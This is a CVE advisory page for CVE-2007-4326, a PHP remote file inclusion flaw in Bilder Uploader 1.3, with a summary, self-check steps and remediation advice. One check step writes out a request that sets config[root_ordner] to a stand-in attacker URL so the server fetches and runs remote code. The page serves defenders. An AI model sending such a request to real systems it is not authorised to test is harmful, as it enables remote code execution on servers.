CVE-2007-4326
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedMultiple PHP remote file inclusion vulnerabilities in Bilder Uploader 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the config[root_ordner] parameter to (1) gruppen.php, (2) bild.php, (3) feed.php, (4) mitglieder.php, (5) online.php, (6) profil.php, and possibly other unspecified PHP scripts.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceMultiple PHP scripts in Bilder Uploader 1.3 are vulnerable to remote file inclusion (RFI) because they use the config[root_ordner] parameter in include/require statements without validation. An attacker can supply a remote URL pointing to malicious PHP code, which the vulnerable scripts will include and execute server-side.

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Confirm Bilder Uploader 1.3 installationLocate PHP files belonging to Bilder Uploader by searching for known files such as index.php, upload.php, or configuration files that reference 'Bilder Uploader' or 'Mapos Scripts'. Check your web server's document root for a directory containing this application.Affected if Bilder Uploader version 1.3 is present on the server
-
Verify PHP allow_url_include settingCheck your PHP configuration (php.ini) or run 'php -i' from command line and look for the allow_url_include directive. Alternatively, create a PHP script containing 'phpinfo();' and access it via web browser to view the current configuration.Affected if allow_url_include is set to On (enabled)
-
Identify vulnerable include/require statementsSearch all PHP files in the Bilder Uploader installation for patterns like 'include($config[root_ordner]' or 'require($config[root_ordner]' using grep or a text search tool. Examine files in the /include/ directory specifically.Affected if PHP files contain include() or require() statements using $config[root_ordner] without validating that the value is a local path
-
Test for RFI vulnerabilitySend an HTTP request to a vulnerable script (such as any .php file in the include/ folder) with a crafted query parameter: '?config[root_ordner]=http://attacker.com/malicious.txt?' and observe if the server attempts to fetch and include the remote URL.Affected if The server processes the remote URL and includes content from the external source, indicating the parameter is not validated
A system is affected if Bilder Uploader 1.3 is installed, PHP's allow_url_include is enabled, and the application processes the config[root_ordner] parameter without restricting it to local paths.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataDisable PHP's allow_url_include setting, add strict input validation to ensure config[root_ordner] is a trusted local path, and upgrade to a patched version if available.
